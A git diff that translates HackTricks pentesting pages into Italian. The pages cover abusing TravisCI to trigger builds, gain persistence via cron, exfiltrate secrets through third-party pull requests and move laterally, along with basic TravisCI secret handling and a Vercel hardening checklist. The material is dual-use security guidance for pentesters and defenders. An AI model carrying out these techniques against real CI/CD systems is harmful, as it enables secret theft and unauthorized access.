-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+Per lanciare un attacco, è necessario prima sapere come attivare una build. Per impostazione predefinita, TravisCI **attiverà una build su push e pull request**:
.png>)
#### Cron Jobs
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+Se hai accesso all'applicazione web, puoi **impostare cron per eseguire la build**, questo potrebbe essere utile per la persistenza o per attivare una build:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> Sembra che non sia possibile impostare cron all'interno del `.travis.yml` secondo [questo](https://github.com/travis-ci/travis-ci/issues/9162).
### Third Party PR
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCI per impostazione predefinita disabilita la condivisione delle variabili di ambiente con le PR provenienti da terze parti, ma qualcuno potrebbe abilitarlo e poi potresti creare PR per il repo ed esfiltrare i segreti:
.png>)
### Dumping Secrets
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+Come spiegato nella pagina [**informazioni di base**](basic-travisci-information.md), ci sono 2 tipi di segreti. **Segreti delle variabili di ambiente** (che sono elencati nella pagina web) e **segreti crittografati personalizzati**, che sono memorizzati all'interno del file `.travis.yml` come base64 (nota che entrambi, essendo memorizzati in modo crittografato, finiranno come variabili di ambiente nelle macchine finali).
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- Per **enumerare i segreti** configurati come **Variabili di Ambiente**, vai alle **impostazioni** del **progetto** e controlla l'elenco. Tuttavia, nota che tutte le variabili di ambiente del progetto impostate qui appariranno quando attivi una build.
+- Per enumerare i **segreti crittografati personalizzati**, il miglior modo è **controllare il file `.travis.yml`**.
+- Per **enumerare i file crittografati**, puoi controllare i **file `.enc`** nel repo, per righe simili a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` nel file di configurazione, o per **iv e chiavi crittografati** nelle **Variabili di Ambiente** come:
.png>)
### TODO:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Esempio di build con reverse shell in esecuzione su Windows/Mac/Linux
+- Esempio di build che esfiltra l'ambiente codificato in base64 nei log
### TravisCI Enterprise
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+Se un attaccante si trova in un ambiente che utilizza **TravisCI enterprise** (maggiori informazioni su cosa sia nella [**informazioni di base**](basic-travisci-information.md#travisci-enterprise)), sarà in grado di **attivare build nel Worker.** Questo significa che un attaccante sarà in grado di muoversi lateralmente verso quel server da cui potrebbe essere in grado di:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- scappare verso l'host?
+- compromettere kubernetes?
+- compromettere altre macchine in esecuzione nella stessa rete?
+- compromettere nuove credenziali cloud?
## References
@@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..e412fea7a 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,48 +1,45 @@
-# Basic TravisCI Information
+# Informazioni di base su TravisCI
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Accesso
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCI si integra direttamente con diverse piattaforme git come Github, Bitbucket, Assembla e Gitlab. Chiederà all'utente di concedere a TravisCI i permessi per accedere ai repo che desidera integrare con TravisCI.
-For example, in Github it will ask for the following permissions:
+Ad esempio, in Github chiederà i seguenti permessi:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (solo lettura)
+- `read:org` (solo lettura)
+- `repo`: Concede accesso in lettura e scrittura al codice, agli stati di commit, ai collaboratori e agli stati di distribuzione per repository e organizzazioni pubbliche e private.
-## Encrypted Secrets
+## Segreti Cifrati
-### Environment Variables
+### Variabili d'Ambiente
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+In TravisCI, come in altre piattaforme CI, è possibile **salvare a livello di repo segreti** che saranno salvati cifrati e **decrittati e inviati nella variabile d'ambiente** della macchina che esegue la build.
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+È possibile indicare le **branche a cui i segreti saranno disponibili** (per impostazione predefinita tutte) e anche se TravisCI **dovrebbe nascondere il suo valore** se appare **nei log** (per impostazione predefinita lo farà).
-### Custom Encrypted Secrets
+### Segreti Cifrati Personalizzati
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+Per **ogni repo** TravisCI genera un **coppia di chiavi RSA**, **mantiene** quella **privata** e rende disponibile la **chiave pubblica** del repository a coloro che hanno **accesso** al repository.
+Puoi accedere alla chiave pubblica di un repo con:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+Poi, puoi utilizzare questa configurazione per **crittografare i segreti e aggiungerli al tuo `.travis.yaml`**. I segreti saranno **decrittografati quando viene eseguita la build** e accessibili nelle **variabili d'ambiente**.
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+Nota che i segreti crittografati in questo modo non appariranno elencati nelle variabili d'ambiente delle impostazioni.
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### File Crittografati Personalizzati
+Allo stesso modo di prima, TravisCI consente anche di **crittografare file e poi decrittografarli durante la build**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Nota che quando si cripta un file, 2 variabili di ambiente saranno configurate all'interno del repository, come ad esempio:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise è una **versione on-prem di Travis CI**, che puoi distribuire **nella tua infrastruttura**. Pensa alla versione ‘server’ di Travis CI. Utilizzare Travis CI ti consente di abilitare un sistema di Integrazione Continua/Distribuzione Continua (CI/CD) facile da usare in un ambiente, che puoi configurare e proteggere come desideri.
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise è composto da due parti principali:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. Servizi TCI **(o Servizi Core TCI)**, responsabili dell'integrazione con i sistemi di controllo versione, dell'autorizzazione delle build, della pianificazione dei lavori di build, ecc.
+2. TCI **Worker** e immagini dell'ambiente di build (chiamate anche immagini OS).
-**TCI Core services require the following:**
+**I servizi Core TCI richiedono quanto segue:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. Un database **PostgreSQL11** (o successivo).
+2. Un'infrastruttura per distribuire un cluster Kubernetes; può essere distribuito in un cluster di server o in una singola macchina se necessario.
+3. A seconda della tua configurazione, potresti voler distribuire e configurare alcuni dei componenti da solo, ad esempio, RabbitMQ - consulta il [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) per ulteriori dettagli.
-**TCI Worker requires the following:**
+**Il Worker TCI richiede quanto segue:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. Un'infrastruttura in cui può essere distribuita un'immagine docker contenente il **Worker e un'immagine di build collegata**.
+2. Connettività a determinati componenti dei Servizi Core di Travis CI - consulta il [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) per ulteriori dettagli.
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+La quantità di Worker TCI distribuiti e delle immagini OS dell'ambiente di build determinerà la capacità totale concorrente della distribuzione di Travis CI Enterprise nella tua infrastruttura.
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..5d18b102a 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+In Vercel un **Team** è l'intero **ambiente** che appartiene a un cliente e un **progetto** è un'**applicazione**.
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+Per una revisione di hardening di **Vercel** è necessario richiedere un utente con **permesso di ruolo Visualizzatore** o almeno **permesso di visualizzazione del progetto sui progetti** da controllare (nel caso in cui sia necessario controllare solo i progetti e non anche la configurazione del Team).
-## Project Settings
+## Impostazioni del progetto
-### General
+### Generale
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Scopo:** Gestire le impostazioni fondamentali del progetto come nome del progetto, framework e configurazioni di build.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **Trasferimento**
+- **Misconfigurazione:** Consente di trasferire il progetto a un altro team
+- **Rischio:** Un attaccante potrebbe rubare il progetto
+- **Elimina progetto**
+- **Misconfigurazione:** Consente di eliminare il progetto
+- **Rischio:** Eliminare il progetto
---
-### Domains
+### Domini
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Scopo:** Gestire domini personalizzati, impostazioni DNS e configurazioni SSL.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **Errori di configurazione DNS**
+- **Misconfigurazione:** Record DNS errati (A, CNAME) che puntano a server malevoli.
+- **Rischio:** Hijacking del dominio, intercettazione del traffico e attacchi di phishing.
+- **Gestione dei certificati SSL/TLS**
+- **Misconfigurazione:** Utilizzo di certificati SSL/TLS deboli o scaduti.
+- **Rischio:** Vulnerabilità ad attacchi man-in-the-middle (MITM), compromettendo l'integrità e la riservatezza dei dati.
+- **Implementazione di DNSSEC**
+- **Misconfigurazione:** Mancata attivazione di DNSSEC o impostazioni DNSSEC errate.
+- **Rischio:** Maggiore suscettibilità a spoofing DNS e attacchi di avvelenamento della cache.
+- **Ambiente utilizzato per dominio**
+- **Misconfigurazione:** Cambiare l'ambiente utilizzato dal dominio in produzione.
+- **Rischio:** Esporre potenziali segreti o funzionalità che non dovrebbero essere disponibili in produzione.
---
-### Environments
+### Ambienti
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Scopo:** Definire diversi ambienti (Sviluppo, Anteprima, Produzione) con impostazioni e variabili specifiche.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Isolamento degli ambienti**
+- **Misconfigurazione:** Condivisione di variabili ambientali tra ambienti.
+- **Rischio:** Perdita di segreti di produzione negli ambienti di sviluppo o anteprima, aumentando l'esposizione.
+- **Accesso a ambienti sensibili**
+- **Misconfigurazione:** Consentire un accesso ampio agli ambienti di produzione.
+- **Rischio:** Modifiche non autorizzate o accesso ad applicazioni live, portando a potenziali interruzioni o violazioni dei dati.
---
-### Environment Variables
+### Variabili ambientali
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Scopo:** Gestire variabili e segreti specifici dell'ambiente utilizzati dall'applicazione.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Esposizione di variabili sensibili**
+- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili dal lato client.
+- **Rischio:** Esposizione di chiavi API, credenziali di database o altri dati sensibili al pubblico, portando a violazioni dei dati.
+- **Sensibile disabilitato**
+- **Misconfigurazione:** Se disabilitato (predefinito) è possibile leggere i valori dei segreti generati.
+- **Rischio:** Maggiore probabilità di esposizione accidentale o accesso non autorizzato a informazioni sensibili.
+- **Variabili ambientali condivise**
+- **Misconfigurazione:** Queste sono variabili ambientali impostate a livello di Team e potrebbero contenere anche informazioni sensibili.
+- **Rischio:** Maggiore probabilità di esposizione accidentale o accesso non autorizzato a informazioni sensibili.
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Scopo:** Configurare integrazioni del repository Git, protezioni dei rami e trigger di distribuzione.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **Passaggio di build ignorato (TODO)**
+- **Misconfigurazione:** Sembra che questa opzione consenta di configurare uno script/ordini bash che verranno eseguiti quando un nuovo commit viene inviato in Github, il che potrebbe consentire RCE.
+- **Rischio:** TBD
---
-### Integrations
+### Integrazioni
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Scopo:** Collegare servizi e strumenti di terze parti per migliorare le funzionalità del progetto.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Integrazioni di terze parti insicure**
+- **Misconfigurazione:** Integrazione con servizi di terze parti non affidabili o insicuri.
+- **Rischio:** Introduzione di vulnerabilità, perdite di dati o backdoor attraverso integrazioni compromesse.
+- **Integrazioni con permessi eccessivi**
+- **Misconfigurazione:** Concessione di permessi eccessivi ai servizi integrati.
+- **Rischio:** Accesso non autorizzato alle risorse del progetto, manipolazione dei dati o interruzioni del servizio.
+- **Mancanza di monitoraggio delle integrazioni**
+- **Misconfigurazione:** Mancata monitorizzazione e audit delle integrazioni di terze parti.
+- **Rischio:** Rilevamento ritardato di integrazioni compromesse, aumentando l'impatto potenziale delle violazioni della sicurezza.
---
-### Deployment Protection
+### Protezione della distribuzione
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Scopo:** Sicurezza delle distribuzioni attraverso vari meccanismi di protezione, controllando chi può accedere e distribuire nei tuoi ambienti.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-**Vercel Authentication**
+**Autenticazione Vercel**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Misconfigurazione:** Disabilitare l'autenticazione o non applicare controlli sui membri del team.
+- **Rischio:** Utenti non autorizzati possono accedere alle distribuzioni, portando a violazioni dei dati o uso improprio dell'applicazione.
-**Protection Bypass for Automation**
+**Bypass della protezione per l'automazione**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Misconfigurazione:** Esporre il segreto di bypass pubblicamente o utilizzare segreti deboli.
+- **Rischio:** Gli attaccanti possono bypassare le protezioni di distribuzione, accedendo e manipolando distribuzioni protette.
-**Shareable Links**
+**Link condivisibili**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Misconfigurazione:** Condivisione di link indiscriminatamente o mancata revoca di link obsoleti.
+- **Rischio:** Accesso non autorizzato a distribuzioni protette, bypassando autenticazione e restrizioni IP.
**OPTIONS Allowlist**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Misconfigurazione:** Consentire percorsi o endpoint sensibili eccessivamente ampi.
+- **Rischio:** Gli attaccanti possono sfruttare percorsi non protetti per eseguire azioni non autorizzate o bypassare controlli di sicurezza.
-**Password Protection**
+**Protezione con password**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Misconfigurazione:** Utilizzo di password deboli o condivisione non sicura.
+- **Rischio:** Accesso non autorizzato alle distribuzioni se le password vengono indovinate o trapelate.
+- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata delle distribuzioni** per un costo aggiuntivo di $150/mese.
-**Deployment Protection Exceptions**
+**Eccezioni alla protezione della distribuzione**
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Misconfigurazione:** Aggiunta di domini di produzione o sensibili all'elenco delle eccezioni inavvertitamente.
+- **Rischio:** Esposizione di distribuzioni critiche al pubblico, portando a perdite di dati o accesso non autorizzato.
+- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata delle distribuzioni** per un costo aggiuntivo di $150/mese.
-**Trusted IPs**
+**IP fidati**
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **Misconfigurazione:** Specificare in modo errato indirizzi IP o intervalli CIDR.
+- **Rischio:** Utenti legittimi bloccati o IP non autorizzati che ottengono accesso.
+- **Nota:** Disponibile nel piano **Enterprise**.
---
-### Functions
+### Funzioni
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Scopo:** Configurare funzioni serverless, comprese impostazioni di runtime, allocazione della memoria e politiche di sicurezza.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Nothing**
+- **Niente**
---
-### Data Cache
+### Cache dei dati
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Scopo:** Gestire strategie e impostazioni di caching per ottimizzare le prestazioni e controllare l'archiviazione dei dati.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Misconfigurazione:** Consente di eliminare tutta la cache.
+- **Rischio:** Utenti non autorizzati che eliminano la cache portando a un potenziale DoS.
---
### Cron Jobs
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Scopo:** Pianificare attività e script automatizzati da eseguire a intervalli specificati.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Disabilita Cron Job**
+- **Misconfigurazione:** Consente di disabilitare i cron job dichiarati nel codice
+- **Rischio:** Potenziale interruzione del servizio (a seconda di cosa erano destinati i cron job)
---
### Log Drains
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Scopo:** Configurare servizi di logging esterni per catturare e archiviare i log dell'applicazione per monitoraggio e auditing.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- Nothing (managed from teams settings)
+- Niente (gestito dalle impostazioni dei team)
---
-### Security
+### Sicurezza
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Scopo:** Hub centrale per varie impostazioni di sicurezza relative all'accesso al progetto, protezione del codice sorgente e altro.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-**Build Logs and Source Protection**
+**Log di build e protezione del codice sorgente**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Misconfigurazione:** Disabilitare la protezione o esporre i percorsi `/logs` e `/src` pubblicamente.
+- **Rischio:** Accesso non autorizzato ai log di build e al codice sorgente, portando a perdite di informazioni e potenziale sfruttamento di vulnerabilità.
-**Git Fork Protection**
+**Protezione del fork di Git**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Misconfigurazione:** Consentire pull request non autorizzate senza revisioni adeguate.
+- **Rischio:** Codice malevolo può essere fuso nel codice sorgente, introducendo vulnerabilità o backdoor.
-**Secure Backend Access with OIDC Federation**
+**Accesso sicuro al backend con federazione OIDC**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Misconfigurazione:** Configurazione errata dei parametri OIDC o utilizzo di URL di emittenti non sicuri.
+- **Rischio:** Accesso non autorizzato ai servizi backend attraverso flussi di autenticazione difettosi.
-**Deployment Retention Policy**
+**Politica di retention delle distribuzioni**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Misconfigurazione:** Impostare periodi di retention troppo brevi (perdendo la cronologia delle distribuzioni) o troppo lunghi (retention di dati non necessaria).
+- **Rischio:** Impossibilità di eseguire rollback quando necessario o aumento del rischio di esposizione dei dati da distribuzioni vecchie.
-**Recently Deleted Deployments**
+**Distribuzioni recentemente eliminate**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Misconfigurazione:** Non monitorare le distribuzioni eliminate o fare affidamento esclusivamente su eliminazioni automatiche.
+- **Rischio:** Perdita di cronologia critica delle distribuzioni, ostacolando audit e rollback.
---
-### Advanced
+### Avanzato
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Scopo:** Accesso a impostazioni aggiuntive del progetto per ottimizzare le configurazioni e migliorare la sicurezza.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-**Directory Listing**
+**Elenco delle directory**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Misconfigurazione:** Abilitare l'elenco delle directory consente agli utenti di visualizzare i contenuti delle directory senza un file indice.
+- **Rischio:** Esposizione di file sensibili, struttura dell'applicazione e potenziali punti di ingresso per attacchi.
---
-## Project Firewall
+## Firewall del progetto
### Firewall
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-**Enable Attack Challenge Mode**
+**Abilita la modalità di sfida agli attacchi**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Misconfigurazione:** Abilitare questo migliora le difese dell'applicazione web contro DoS ma a scapito dell'usabilità
+- **Rischio:** Potenziali problemi di esperienza utente.
-### Custom Rules & IP Blocking
+### Regole personalizzate e blocco IP
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Misconfigurazione:** Consente di sbloccare/bloccare il traffico
+- **Rischio:** Potenziale DoS consentendo traffico malevolo o bloccando traffico benigno
---
-## Project Deployment
+## Distribuzione del progetto
-### Source
+### Sorgente
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Misconfigurazione:** Consente l'accesso per leggere l'intero codice sorgente dell'applicazione
+- **Rischio:** Potenziale esposizione di informazioni sensibili
-### Skew Protection
+### Protezione dallo skew
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Misconfigurazione:** Questa protezione garantisce che l'applicazione client e server stiano sempre utilizzando la stessa versione, quindi non ci sono desincronizzazioni in cui il client utilizza una versione diversa dal server e quindi non si comprendono a vicenda.
+- **Rischio:** Disabilitare questo (se abilitato) potrebbe causare problemi di DoS in nuove distribuzioni in futuro
---
-## Team Settings
+## Impostazioni del team
-### General
+### Generale
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **Trasferimento**
+- **Misconfigurazione:** Consente di trasferire tutti i progetti a un altro team
+- **Rischio:** Un attaccante potrebbe rubare i progetti
+- **Elimina progetto**
+- **Misconfigurazione:** Consente di eliminare il team con tutti i progetti
+- **Rischio:** Eliminare i progetti
---
-### Billing
+### Fatturazione
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Limite di costo Speed Insights**
+- **Misconfigurazione:** Un attaccante potrebbe aumentare questo numero
+- **Rischio:** Aumento dei costi
---
-### Members
+### Membri
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
-- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
